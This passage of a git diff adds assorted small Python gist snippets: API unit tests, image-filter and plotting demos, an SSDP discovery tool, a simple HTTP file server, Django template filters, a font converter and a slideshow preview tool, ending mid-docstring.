+                self.assertEqual(response.code, 200)
+                models = json.loads(response.body)
+                self.assertEqual(len(models), 1)
+                self.assertEqual(models[0]['a'], 1)
+
+            def test_create_model(self):
+                post_args = {'email': 'bro@bro.com'}
+                response = self.fetch('/api/', method='POST',
+                        body=json.dumps(post_args))
+                resp = json.loads(response.body)
+                self.assertTrue('_id' in resp)
+                self.assertEqual(resp['created'], 10)
+
+            def test_update_model(self):
+                response = self.fetch('/api/' + str(self.doc), method='GET')
+                self.assertEqual(response.code, 200)
+                model = json.loads(response.body)
+                model['foo'] = '1234'
+                response = self.fetch('/api/' + str(self.doc), method='PUT',
+                        body=json.dumps(model))
+                self.assertEqual(response.code, 200)
+                doc = self.coll.find_one(self.doc)
+                self.assertEqual(doc['foo'], '1234')
+
+            def test_delete_model(self):
+                response = self.fetch('/api/' + str(self.doc), method='DELETE')
+                self.assertEqual(response.code, 200)
+                doc = self.coll.find_one(self.doc)
+                self.assertEqual(doc, None)
+
+
+        unittest.main()
diff --git a/hard-gists/2420407/._snippet.py b/hard-gists/2420407/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2420407/._snippet.py differ
diff --git a/hard-gists/2420407/snippet.py b/hard-gists/2420407/snippet.py
new file mode 100644
index 00000000..7deef7c6
--- /dev/null
+++ b/hard-gists/2420407/snippet.py
@@ -0,0 +1,42 @@
+import numpy as np
+import matplotlib.pyplot as plt
+
+from sklearn.datasets import fetch_mldata
+from sklearn.decomposition import FastICA, PCA
+from sklearn.cluster import KMeans
+
+# fetch natural image patches
+image_patches = fetch_mldata("natural scenes data")
+X = image_patches.data
+
+# 1000 patches a 32x32
+# not so much data, reshape to 16000 patches a 8x8
+X = X.reshape(1000, 4, 8, 4, 8)
+X = np.rollaxis(X, 3, 2).reshape(-1, 8 * 8)
+
+# perform ICA
+ica = FastICA(n_components=49)
+ica.fit(X)
+filters_ica = ica.unmixing_matrix_
+
+# zero mean "by hand" so that inverse transform
+# doesn't mess up the filters
+X -= X.mean(axis=0)
+# perform whitening
+pca = PCA(n_components=49, whiten=True)
+X_white = pca.fit_transform(X)
+kmeans = KMeans(k=49, n_init=1).fit(X_white)
+
+filters_kmeans = pca.inverse_transform(kmeans.cluster_centers_)
+filters_pca = pca.components_
+
+titles = ["ICA", "PCA", "k-means"]
+filters = [filters_ica, filters_pca, filters_kmeans]
+
+for T, F in zip(titles, filters):
+    plt.figure(T)
+    for i, f in enumerate(F):
+        plt.subplot(7, 7, i + 1)
+        plt.imshow(f.reshape(8, 8), cmap="gray")
+        plt.axis("off")
+plt.show()
diff --git a/hard-gists/242176c5bdb282b0a327/._snippet.py b/hard-gists/242176c5bdb282b0a327/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/242176c5bdb282b0a327/._snippet.py differ
diff --git a/hard-gists/242176c5bdb282b0a327/snippet.py b/hard-gists/242176c5bdb282b0a327/snippet.py
new file mode 100644
index 00000000..fa183a5e
--- /dev/null
+++ b/hard-gists/242176c5bdb282b0a327/snippet.py
@@ -0,0 +1,38 @@
+import cv2
+import numpy as np
+import time
+import livestreamer
+
+# use live streamer to figure out the stream info
+streams = livestreamer.streams("http://www.twitch.tv/inostupid")
+stream = streams['best']
+# open our out file. 
+fname = "test.mpg"
+vid_file = open(fname,"wb")
+# dump from the stream into an mpg file -- get a buffer going
+fd = stream.open()
+for i in range(0,2*2048):
+    if i%256==0:
+        print "Buffering..."
+    new_bytes = fd.read(1024)
+    vid_file.write(new_bytes)
+# open the video file from the begining
+print "Done buffering."
+cam = cv2.VideoCapture(fname)
+while True:
+    ret, img = cam.read()                      
+    try:
+        if ret:
+            img = 255-img # invert the colors
+            cv2.imshow('live_img',img)
+    except:
+        print "DERP"
+        continue
+    if (0xFF & cv2.waitKey(5) == 27) or img.size == 0:
+        break
+    time.sleep(0.05)
+    # dump some more data to the stream so we don't run out. 
+    new_bytes = fd.read(1024*16)
+    vid_file.write(new_bytes)
+vid_file.close()
+fd.close()
diff --git a/hard-gists/2423179/._snippet.py b/hard-gists/2423179/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2423179/._snippet.py differ
diff --git a/hard-gists/2423179/snippet.py b/hard-gists/2423179/snippet.py
new file mode 100644
index 00000000..7c8289f1
--- /dev/null
+++ b/hard-gists/2423179/snippet.py
@@ -0,0 +1,273 @@
+"""
+Series of data are loaded from a .csv file, and their names are
+displayed in a checkable list view. The user can select the series
+it wants from the list and plot them on a matplotlib canvas.
+
+Use the sample .csv file that comes with the script for an example
+of data series.
+
+Eli Bendersky (eliben@gmail.com)
+License: this code is in the public domain
+modified: 18.05.2009
+
+modified: 19.04.2012
+John Burkhart (jfburkhart@gmail.com)
+SLIGHT modifications for PySide
+
+Be sure to download the data file from:
+http://eli.thegreenplace.net/files/prog_code/pyqt_dataplot_demo.zip
+"""
+import sys, os, csv
+
+## Using PySide
+from PySide.QtCore import *
+from PySide.QtGui import *
+
+import matplotlib
+
+## Added for PySide
+matplotlib.use('Qt4Agg')
+matplotlib.rcParams['backend.qt4']='PySide'
+
+from matplotlib.backends.backend_qt4agg import FigureCanvasQTAgg as FigureCanvas
+from matplotlib.backends.backend_qt4agg import NavigationToolbar2QTAgg as NavigationToolbar
+from matplotlib.figure import Figure
+
+
+class Form(QMainWindow):
+    def __init__(self, parent=None):
+        super(Form, self).__init__(parent)
+        self.setWindowTitle('PySide & matplotlib demo: Data plotting')
+
+        self.data = DataHolder()
+        self.series_list_model = QStandardItemModel()
+
+        self.create_menu()
+        self.create_main_frame()
+        self.create_status_bar()
+        
+        self.update_ui()
+        self.on_show()
+
+    def load_file(self, filename=None):
+		# PySide: filename now a tuple ([0]) added throughout below
+        filename = QFileDialog.getOpenFileName(self,
+            'Open a data file', '.', 'CSV files (*.csv);;All Files (*.*)')
+        
+        if filename:
+            self.data.load_from_file(filename)
+            self.fill_series_list(self.data.series_names())
+            self.status_text.setText("Loaded " + filename[0])
+            self.update_ui()
+    
+    def update_ui(self):
+        if self.data.series_count() > 0 and self.data.series_len() > 0:
+            self.from_spin.setValue(0)
+            self.to_spin.setValue(self.data.series_len() - 1)
+            
+            for w in [self.from_spin, self.to_spin]:
+                w.setRange(0, self.data.series_len() - 1)
+                w.setEnabled(True)
+        else:
+            for w in [self.from_spin, self.to_spin]:
+                w.setEnabled(False)
+    
+    def on_show(self):
+        self.axes.clear()        
+        self.axes.grid(True)
+        
+        has_series = False
+        
+        for row in range(self.series_list_model.rowCount()):
+            model_index = self.series_list_model.index(row, 0)
+            checked = self.series_list_model.data(model_index,
+                Qt.CheckStateRole) == Qt.Checked #QVariant gone in PySide
+            # PySide diff: no toString() method required    
+            name = str(self.series_list_model.data(model_index))
+            
+            if checked:
+                has_series = True
+                
+                x_from = self.from_spin.value()
+                x_to = self.to_spin.value()
+                series = self.data.get_series_data(name)[x_from:x_to + 1]
+                self.axes.plot(range(len(series)), series, 'o-', label=name)
+        
+        if has_series and self.legend_cb.isChecked():
+            self.axes.legend()
+        self.canvas.draw()
+
+    def on_about(self):
+        msg = __doc__
+        QMessageBox.about(self, "About the demo", msg.strip())
+
+    def fill_series_list(self, names):
+        self.series_list_model.clear()
+        
+        for name in names:
+            item = QStandardItem(name)
+            item.setCheckState(Qt.Unchecked)
+            item.setCheckable(True)
+            self.series_list_model.appendRow(item)
+    
+    def create_main_frame(self):
+        self.main_frame = QWidget()
+        
+        plot_frame = QWidget()
+        
+        self.dpi = 100
+        self.fig = Figure((6.0, 4.0), dpi=self.dpi)
+        self.canvas = FigureCanvas(self.fig)
+        self.canvas.setParent(self.main_frame)
+        
+        self.axes = self.fig.add_subplot(111)
+        self.mpl_toolbar = NavigationToolbar(self.canvas, self.main_frame)
+        
+        log_label = QLabel("Data series:")
+        self.series_list_view = QListView()
+        self.series_list_view.setModel(self.series_list_model)
+        
+        spin_label1 = QLabel('X from')
+        self.from_spin = QSpinBox()
+        spin_label2 = QLabel('to')
+        self.to_spin = QSpinBox()
+        
+        spins_hbox = QHBoxLayout()
+        spins_hbox.addWidget(spin_label1)
+        spins_hbox.addWidget(self.from_spin)
+        spins_hbox.addWidget(spin_label2)
+        spins_hbox.addWidget(self.to_spin)
+        spins_hbox.addStretch(1)
+        
+        self.legend_cb = QCheckBox("Show L&egend")
+        self.legend_cb.setChecked(False)
+        
+        self.show_button = QPushButton("&Show")
+        self.connect(self.show_button, SIGNAL('clicked()'), self.on_show)
+
+        left_vbox = QVBoxLayout()
+        left_vbox.addWidget(self.canvas)
+        left_vbox.addWidget(self.mpl_toolbar)
+
+        right_vbox = QVBoxLayout()
+        right_vbox.addWidget(log_label)
+        right_vbox.addWidget(self.series_list_view)
+        right_vbox.addLayout(spins_hbox)
+        right_vbox.addWidget(self.legend_cb)
+        right_vbox.addWidget(self.show_button)
+        right_vbox.addStretch(1)
+        
+        hbox = QHBoxLayout()
+        hbox.addLayout(left_vbox)
+        hbox.addLayout(right_vbox)
+        self.main_frame.setLayout(hbox)
+
+        self.setCentralWidget(self.main_frame)
+    
+    def create_status_bar(self):
+        self.status_text = QLabel("Please load a data file")
+        self.statusBar().addWidget(self.status_text, 1)
+
+    def create_menu(self):        
+        self.file_menu = self.menuBar().addMenu("&File")
+        
+        load_action = self.create_action("&Load file",
+            shortcut="Ctrl+L", slot=self.load_file, tip="Load a file")
+        quit_action = self.create_action("&Quit", slot=self.close, 
+            shortcut="Ctrl+Q", tip="Close the application")
+        
+        self.add_actions(self.file_menu, 
+            (load_action, None, quit_action))
+            
+        self.help_menu = self.menuBar().addMenu("&Help")
+        about_action = self.create_action("&About", 
+            shortcut='F1', slot=self.on_about, 
+            tip='About the demo')
+        
+        self.add_actions(self.help_menu, (about_action,))
+
+    def add_actions(self, target, actions):
+        for action in actions:
+            if action is None:
+                target.addSeparator()
+            else:
+                target.addAction(action)
+
+    def create_action(  self, text, slot=None, shortcut=None, 
+                        icon=None, tip=None, checkable=False, 
+                        signal="triggered()"):
+        action = QAction(text, self)
+        if icon is not None:
+            action.setIcon(QIcon(":/%s.png" % icon))
+        if shortcut is not None:
+            action.setShortcut(shortcut)
+        if tip is not None:
+            action.setToolTip(tip)
+            action.setStatusTip(tip)
+        if slot is not None:
+            self.connect(action, SIGNAL(signal), slot)
+        if checkable:
+            action.setCheckable(True)
+        return action
+
+
+class DataHolder(object):
+    """ Just a thin wrapper over a dictionary that holds integer 
+        data series. Each series has a name and a list of numbers 
+        as its data. The length of all series is assumed to be
+        the same.
+        
+        The series can be read from a CSV file, where each line
+        is a separate series. In each series, the first item in 
+        the line is the name, and the rest are data numbers.
+    """
+    def __init__(self, filename=None):
+        self.load_from_file(filename)
+    
+    def load_from_file(self, filename=None):
+        self.data = {}
+        self.names = []
+        
+        if filename:
+            for line in csv.reader(open(filename[0], 'rb')):
+                self.names.append(line[0])
+                self.data[line[0]] = map(int, line[1:])
+                self.datalen = len(line[1:])
+    
+    def series_names(self):
+        """ Names of the data series
+        """
+        return self.names
+    
+    def series_len(self):
+        """ Length of a data series
+        """
+        return self.datalen
+    
+    def series_count(self):
+        return len(self.data)
+
+    def get_series_data(self, name):
+        return self.data[name]
+
+
+def main():
+    app = QApplication(sys.argv)
+    form = Form()
+    form.show()
+    app.exec_()
+
+
+if __name__ == "__main__":
+    main()
+    
+    #~ dh = DataHolder('qt_mpl_data.csv')
+    #~ print dh.data
+    #~ print dh.get_series_data('1991 Sales')
+    #~ print dh.series_names()
+    #~ print dh.series_count()
+    
+    
+    
+    
+     
diff --git a/hard-gists/2428250/._snippet.py b/hard-gists/2428250/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2428250/._snippet.py differ
diff --git a/hard-gists/2428250/snippet.py b/hard-gists/2428250/snippet.py
new file mode 100644
index 00000000..869fac77
--- /dev/null
+++ b/hard-gists/2428250/snippet.py
@@ -0,0 +1,125 @@
+
+import socket
+import struct
+import sys
+from httplib import HTTPResponse
+from BaseHTTPServer import BaseHTTPRequestHandler
+from StringIO import StringIO
+
+import gtk
+import gobject
+
+LIB_ID = 'my_library'
+MCAST_GRP = '239.255.255.250'
+MCAST_PORT = 1900
+SERVICE_LOCS = {'id1': '127.0.0.1:7766', 'id2': '127.0.0.1:7766'}
+
+DISCOVERY_MSG = ('M-SEARCH * HTTP/1.1\r\n' +
+                 'ST: %(library)s:%(service)s\r\n' +
+                 'MX: 3\r\n' +
+                 'MAN: "ssdp:discover"\r\n' +
+                 'HOST: 239.255.255.250:1900\r\n\r\n')
+
+LOCATION_MSG = ('HTTP/1.1 200 OK\r\n' +
+                'ST: %(library)s:%(service)s\r\n'
+                'USN: %(service)s\r\n'
+                'Location: %(loc)s\r\n'
+                'Cache-Control: max-age=900\r\n\r\n')
+
+
+class Request(BaseHTTPRequestHandler):
+    def __init__(self, request_text):
+        self.rfile = StringIO(request_text)
+        self.raw_requestline = self.rfile.readline()
+        self.error_code = self.error_message = None
+        self.parse_request()
+
+    def send_error(self, code, message):
+        self.error_code = code
+        self.error_message = message
+
+
+class Response(HTTPResponse):
+    def __init__(self, response_text):
+        self.fp = StringIO(response_text)
+        self.debuglevel = 0
+        self.strict = 0
+        self.msg = None
+        self._method = None
+        self.begin()
+
+
+def interface_addresses(family=socket.AF_INET):
+    for fam, _, _, _, sockaddr in socket.getaddrinfo('', None):
+        if family == fam:
+            yield sockaddr[0]
+
+
+def client(timeout=1, retries=5):
+    socket.setdefaulttimeout(timeout)
+
+    for _ in xrange(retries):
+        for addr in interface_addresses():
+            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
+            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+            sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
+            sock.bind((addr, 0))
+
+            msg = DISCOVERY_MSG % dict(service='id1', library=LIB_ID)
+            for _ in xrange(2):
+                # sending it more than once will
+                # decrease the probability of a timeout
+                sock.sendto(msg, (MCAST_GRP, MCAST_PORT))
+
+            try:
+                data = sock.recv(1024)
+            except socket.timeout:
+                pass
+            else:
+                response = Response(data)
+                print response.getheader('Location')
+                return
+
+
+def server(timeout=5):
+
+    socket.setdefaulttimeout(timeout)
+
+    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
+    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
+    sock.bind(('', MCAST_PORT))
+
+    mreq = struct.pack('4sl', socket.inet_aton(MCAST_GRP), socket.INADDR_ANY)
+    sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
+
+    cond = gobject.IO_IN | gobject.IO_HUP
+    gobject.io_add_watch(sock, cond, handle_requests)
+
+    gtk.main()
+
+
+def handle_requests(sock, _):
+
+    data, addr = sock.recvfrom(4096)
+    request = Request(data)
+    if not request.error_code and \
+            request.command == 'M-SEARCH' and \
+            request.path == '*' and \
+            request.headers['ST'].startswith(LIB_ID) and \
+            request.headers['MAN'] == '"ssdp:discover"':
+
+        service = request.headers['ST'].split(':', 2)[1]
+        if service in SERVICE_LOCS:
+            loc = SERVICE_LOCS[service]
+            msg = LOCATION_MSG % dict(service=service, loc=loc, library=LIB_ID)
+            sock.sendto(msg, addr)
+
+    return True
+
+
+if __name__ == '__main__':
+    if len(sys.argv) > 1 and 'client' in sys.argv[1]:
+        client()
+    else:
+        server()
diff --git a/hard-gists/2433411/._snippet.py b/hard-gists/2433411/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2433411/._snippet.py differ
diff --git a/hard-gists/2433411/snippet.py b/hard-gists/2433411/snippet.py
new file mode 100644
index 00000000..64ed2159
--- /dev/null
+++ b/hard-gists/2433411/snippet.py
@@ -0,0 +1,34 @@
+import datetime
+import md5
+
+from django.contrib.auth.models import User
+
+import factory
+
+
+class UserFactory(factory.Factory):
+    """
+    Creates a new ``User`` object.
+
+    Username will be a random 30 character md5 value.
+    Email will be ``userN@example.com`` with ``N`` being a counter.
+    Password will be ``test123`` by default.
+
+    """
+    FACTORY_FOR = User
+
+    username = factory.LazyAttribute(
+        lambda x: md5.new(datetime.datetime.now().strftime(
+            '%Y%,%d%H%M%S')).hexdigest()[0:30])
+    email = factory.Sequence(lambda n: 'user{0}@example.com'.format(n))
+
+    @classmethod
+    def _prepare(cls, create, **kwargs):
+        password = 'test123'
+        if 'password' in kwargs:
+            password = kwargs.pop('password')
+        user = super(UserFactory, cls)._prepare(create, **kwargs)
+        user.set_password(password)
+        if create:
+            user.save()
+        return user
\ No newline at end of file
diff --git a/hard-gists/2438871/._snippet.py b/hard-gists/2438871/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2438871/._snippet.py differ
diff --git a/hard-gists/2438871/snippet.py b/hard-gists/2438871/snippet.py
new file mode 100644
index 00000000..0cd08f0a
--- /dev/null
+++ b/hard-gists/2438871/snippet.py
@@ -0,0 +1,36 @@
+'''
+This is how to track a white ball example using SimpleCV
+
+The parameters may need to be adjusted to match the RGB color
+of your object.
+
+The demo video can be found at:
+http://www.youtube.com/watch?v=jihxqg3kr-g
+'''
+print __doc__
+
+import SimpleCV
+
+display = SimpleCV.Display()
+cam = SimpleCV.Camera()
+normaldisplay = True
+
+while display.isNotDone():
+
+	if display.mouseRight:
+		normaldisplay = not(normaldisplay)
+		print "Display Mode:", "Normal" if normaldisplay else "Segmented" 
+	
+	img = cam.getImage().flipHorizontal()
+	dist = img.colorDistance(SimpleCV.Color.BLACK).dilate(2)
+	segmented = dist.stretch(200,255)
+	blobs = segmented.findBlobs()
+	if blobs:
+		circles = blobs.filter([b.isCircle(0.2) for b in blobs])
+		if circles:
+			img.drawCircle((circles[-1].x, circles[-1].y), circles[-1].radius(),SimpleCV.Color.BLUE,3)
+
+	if normaldisplay:
+		img.show()
+	else:
+		segmented.show()
diff --git a/hard-gists/246474141cbe588eb9fb/._snippet.py b/hard-gists/246474141cbe588eb9fb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/246474141cbe588eb9fb/._snippet.py differ
diff --git a/hard-gists/246474141cbe588eb9fb/snippet.py b/hard-gists/246474141cbe588eb9fb/snippet.py
new file mode 100644
index 00000000..5b4e9386
--- /dev/null
+++ b/hard-gists/246474141cbe588eb9fb/snippet.py
@@ -0,0 +1,35 @@
+#!/usr/bin/env python3
+import sys, os, socket
+from socketserver import ThreadingMixIn
+from http.server import SimpleHTTPRequestHandler, HTTPServer
+
+HOST = socket.gethostname()
+
+class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
+    pass
+
+'''
+This sets the listening port, default port 8080
+'''
+if sys.argv[1:]:
+    PORT = int(sys.argv[1])
+else:
+    PORT = 8080
+
+'''
+This sets the working directory of the HTTPServer, defaults to directory where script is executed.
+'''
+if sys.argv[2:]:
+    os.chdir(sys.argv[2])
+    CWD = sys.argv[2]
+else:
+    CWD = os.getcwd()
+
+server = ThreadingSimpleServer(('0.0.0.0', PORT), SimpleHTTPRequestHandler)
+print("Serving HTTP traffic from", CWD, "on", HOST, "using port", PORT)
+try:
+    while 1:
+        sys.stdout.flush()
+        server.handle_request()
+except KeyboardInterrupt:
+    print("\nShutting down server per users request.")
\ No newline at end of file
diff --git a/hard-gists/246727/._snippet.py b/hard-gists/246727/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/246727/._snippet.py differ
diff --git a/hard-gists/246727/snippet.py b/hard-gists/246727/snippet.py
new file mode 100644
index 00000000..df15d876
--- /dev/null
+++ b/hard-gists/246727/snippet.py
@@ -0,0 +1,120 @@
+"""
+=============
+stringmethods
+=============
+
+Make possible to use all Python string methods as Django template filters. Also
+provide custom template tag ``{% stringmethod %}`` to use methods with more
+than one argument, like ``format``, ``count`` and other.
+
+Restrictions
+============
+
+1. Django template system do not provide multiple arguments for filters, so
+   for calling::
+
+       'The sum of {0} and {1} is {2}.'.format(1, 2, 3)
+
+   you need to use ``{% stringmethod %}`` template tag. E.g.::
+
+       {% load string_filters %}
+       {% stringmethod "The sum of {0} and {1} is {2}." 1 2 3 %}
+
+2. Django template system allow to use only named arguments in filter or
+   simple tag definition, and doesn't understand using of magic ``*args`` list.
+   For string methods this problem fixes by using max of three arguments, cause
+   ``count``, ``endswith``, ``find``, ``index``, ``replace``, ``rfind``,
+   ``rindex`` and ``startswith`` works with three arguments, other methods
+   needs two args or lower.
+
+3. Keyword arguments for ``format`` method does not supported.
+
+4. ``stringfilters`` does not support ``join`` string method for honor of
+   using built-in Django template filter.
+
+Installation
+============
+
+Save this gist anywhere of ``templatetags`` directory for app listed in
+``INSTALLED_APPS``.
+
+Usage
+=====
+
+Django already provides several Python string methods as template filters.
+There are ``center``, ``ljust``, ``lower``, ``rjust``, ``title`` and ``upper``.
+
+And ``stringmethods`` allow to use all another string methods in your
+Django templates.
+
+Using Python string methods as Django template filters
+------------------------------------------------------
+
+This solution is good for particular reasons, but bad for ``replace`` or other
+methods needed more that one argument. Example, python code::
+
+    '\tfor i in range(4):\n'.expandtabs(4)
+    'http://www.google.com/'.rstrip('/')
+
+In Django templates::
+
+    {{ "\tfor i in range(4)"|expandtabs:4 }}
+    {{ "http://www.google.com/"|rstrip:"/" }}
+
+Using {% stringmethod %} template tag
+-------------------------------------
+
+For advanced reasons or for ``replace`` method you should use this template
+tag. Let's see examples, python code::
+
+    'abc'.replace('abc', 'def')
+    '1 2 Some text'.split(' ', 2)
+
+In Django templates::
+
+    {% stringmethod "replace" "abc" "abc" "def" %}
+    {% stringmethod "split" "1 2 Some text" " " 2 %}
+
+"""
+
+from django.template import Library
+from django.template.defaultfilters import stringfilter
+
+
+register = Library()
+
+IGNORE_METHODS = ['join']
+
+
+@register.simple_tag
+def stringmethod(name, value, first=None, second=None, third=None):
+    return make_filter(name)(value, first, second, third)
+
+
+@stringfilter
+def make_filter(name):
+    def filter(value, first=None, second=None, third=None):
+        args = [first, second, third]
+        method = getattr(value, name)
+
+        while True:
+            try:
+                return method(*args)
+            except TypeError:
+                args.pop(len(args) - 1)
+
+    return filter
+
+
+for name in dir(u''):
+    # Ignore all private string methods
+    if name.startswith('_'):
+        continue
+
+    # Ignore ``join`` method
+    if name in IGNORE_METHODS:
+        continue
+
+    # Create new template filters for all string methods that not yet added
+    # to Django template built-ins
+    register.filter(name, make_filter(name))
diff --git a/hard-gists/2471505/._snippet.py b/hard-gists/2471505/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2471505/._snippet.py differ
diff --git a/hard-gists/2471505/snippet.py b/hard-gists/2471505/snippet.py
new file mode 100644
index 00000000..6ab2f6b7
--- /dev/null
+++ b/hard-gists/2471505/snippet.py
@@ -0,0 +1,18 @@
+import win32clipboard, win32con
+
+
+def get_pattern():
+    text = str(eval(raw_input("Pattern:\n")))
+
+    win32clipboard.OpenClipboard()
+    win32clipboard.EmptyClipboard()
+    win32clipboard.SetClipboardText(text)
+    win32clipboard.CloseClipboard()
+
+
+def main():
+    while True:
+        get_pattern()
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/2475758/._snippet.py b/hard-gists/2475758/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2475758/._snippet.py differ
diff --git a/hard-gists/2475758/snippet.py b/hard-gists/2475758/snippet.py
new file mode 100644
index 00000000..40a83bc2
--- /dev/null
+++ b/hard-gists/2475758/snippet.py
@@ -0,0 +1,54 @@
+
+"""
+DCPU Font converter.
+Written by Daniel Keep <daniel.keep@gmail.com>.
+
+Released under the MIT license.
+
+"""
+
+from PIL import Image
+
+font_b = Image.open("font.png").convert("1")
+
+glyphs = []
+
+for i in range(128):
+    x = i % 32
+    y = i // 32
+
+    cols = [0, 0, 0, 0]
+
+    px = x * 4
+    py = y * 8
+
+    for col in range(4):
+        colv = 0
+        for row in range(8):
+            pv = font_b.getpixel((px+col,py+row)) & 1
+            colv = colv | (pv << row)
+
+        cols[col] = colv
+
+    print "%r:\t%r" % (chr(i),
+                          ["%08s" % bin(w)[2:] for w in cols])
+
+    glyph = (cols[1] | (cols[0] << 8), cols[3] | (cols[2] << 8))
+    glyphs.append(glyph)
+
+#
+# Output
+#
+
+with open("font.dasm", "wt") as f:
+    for line in __doc__.splitlines():
+        f.write("; %s\n" % line)
+
+    for i,glyph in enumerate(glyphs):
+        f.write("dat 0x%04x, 0x%04x ; '%r'\n" % (glyph[0], glyph[1], chr(i)))
+
+with open("font.bin", "wb") as f:
+    for i,glyph in enumerate(glyphs):
+        for word in glyph:
+            f.write(chr(word & 0xFF))
+            f.write(chr(word >> 8))
diff --git a/hard-gists/2477361/._snippet.py b/hard-gists/2477361/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2477361/._snippet.py differ
diff --git a/hard-gists/2477361/snippet.py b/hard-gists/2477361/snippet.py
new file mode 100644
index 00000000..5e2bb8c3
--- /dev/null
+++ b/hard-gists/2477361/snippet.py
@@ -0,0 +1,136 @@
+#!/usr/bin/env python
+
+"""
+If you use landslide to create slideshows using markdown, you may have found
+yourself repeating endlessly:
++ save source document
++ switch to the terminal to run landslide
++ reload the generated html in your browser
+
+This QT (using webkit) based "application" monitor changes to the source file
+and automatically regenerates the HTML and refreshes the "browser".
+
+$ ./qtkit.py --help
+usage: qtkit.py [-h] --landslide LANDSLIDE [--port PORT] [--html HTML] file
+
+landslide text to html viewer
+
+positional arguments:
+  file                  text file (md or rst)
+
+optional arguments:
+  -h, --help            show this help message and exit
+  --landslide LANDSLIDE
+                        path to the landslide binary
+  --port PORT           simple http server port (default 8000)
+  --html HTML           html filename (default presentation.html)
+
+To quit close the QT window or press ctrl + c in the terminal.
+"""
+
+import sys
+import os
+import signal
+import subprocess
+import SimpleHTTPServer
+import SocketServer
+from multiprocessing import Process
+import argparse
+
+from PyQt4.QtCore import *
+from PyQt4.QtGui import *
+from PyQt4.QtWebKit import *
+
+
+class FullHelpArgumentParser(argparse.ArgumentParser):
+    """ argument parser displaying the complete help on error """
+
+    # http://stackoverflow.com/a/4042861/753565
+    def error(self, message):
+        sys.stderr.write('error: %s\n' % message)
+        self.print_help()
+        sys.exit(2)
+
+
+def parse_arguments():
+    """ argparse wrapper """
+
+    parser = FullHelpArgumentParser(description='landslide text to html viewer')
+    parser.add_argument('file', help='text file (md or rst)', action='store')
+    parser.add_argument('--landslide', help='path to the landslide binary',
+                        action='store', required=True)
+    parser.add_argument('--port', type=int, help='simple http server port (default 8000)',
+                        default=8000, action='store')
+    parser.add_argument('--html', help='html filename (default presentation.html)',
+                        default='presentation.html', action='store')
+    return parser.parse_args()
+
+def http_server(path, port):
+    """ start a simple http server listening on port serving files from path """
+
+    os.chdir(path)
+    handler = SimpleHTTPServer.SimpleHTTPRequestHandler
+    # http://stackoverflow.com/questions/337115/setting-time-wait-tcp
+    SocketServer.TCPServer.allow_reuse_address = True
+    http = SocketServer.TCPServer(('', port), handler)
+    # handling a ctrl-c termination
+    try:
+        http.serve_forever()
+    except KeyboardInterrupt:
+        pass
+
+def landslide(args):
+    """ run args.landslide on args.file to create args.html """
+
+    html_file = os.path.join(os.path.dirname(args.file), args.html)
+    subprocess.call([args.landslide, '--embed', args.file, '-d', html_file])
+
+def start_fs_watcher(web, args):
+    """ create a watcher on args.file, calling landslide and reloading web """
+
+    # http://stackoverflow.com/a/5339877/753565
+    @pyqtSlot(str)
+    def file_changed(path):
+        landslide(args)
+        web.reload()
+
+    fs_watcher = QFileSystemWatcher([args.file])
+    fs_watcher.connect(fs_watcher, SIGNAL('fileChanged(QString)'), file_changed)
+    return fs_watcher
+
+
+def main():
+    args = parse_arguments()
+
+    # using multiprocessing to start the http server in its own process
+    http = Process(target=http_server, args=(os.path.dirname(args.file), args.port))
+    http.start()
+
+    app = QApplication([])
+    web = QWebView()
+
+    fs_watcher = start_fs_watcher(web, args)
+
+    # compare html and text file last modified dates to only process if necessary
+    mtime_text_file = os.path.getmtime(args.file)
+    try:
+        mtime_html_file = os.path.getmtime(os.path.join(os.path.dirname(args.file), args.html))
+    except OSError:
+        mtime_html_file = 0
+    if mtime_text_file > mtime_html_file:
+        landslide(args)
+    web.load(QUrl('http://localhost:%i/%s' % (args.port, args.html)))
+    web.show()
+
+    # exiting from the command line (ctrl+c)
+    signal.signal(signal.SIGINT, signal.SIG_DFL)
+
+    # starting the QT event loop
+    app.exec_()
+
+    # del fs_watcher in a cleanup slot connected to the aboutToQuit signal doesn't work
+    del fs_watcher
+    http.terminate()
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/247d1f1e86fa3749429791cf457052e2/._snippet.py b/hard-gists/247d1f1e86fa3749429791cf457052e2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/247d1f1e86fa3749429791cf457052e2/._snippet.py differ
diff --git a/hard-gists/247d1f1e86fa3749429791cf457052e2/snippet.py b/hard-gists/247d1f1e86fa3749429791cf457052e2/snippet.py
new file mode 100644
index 00000000..b7cf1ff3
--- /dev/null
+++ b/hard-gists/247d1f1e86fa3749429791cf457052e2/snippet.py
@@ -0,0 +1,75 @@
+#!/usr/bin/python
+# vim: fileencoding=utf-8
+
+
+u'''Translate YAML written text to graphviz dot language
+
+Input YAML text like below:
+
+---
+foo:
+  - bar
+  - baz:
+    - hello:
+      - world
+  - lorum
+---
+
+Reference: https://gist.github.com/nakamuray/7653403
+Author: Richard Caceres, richard@archive.org
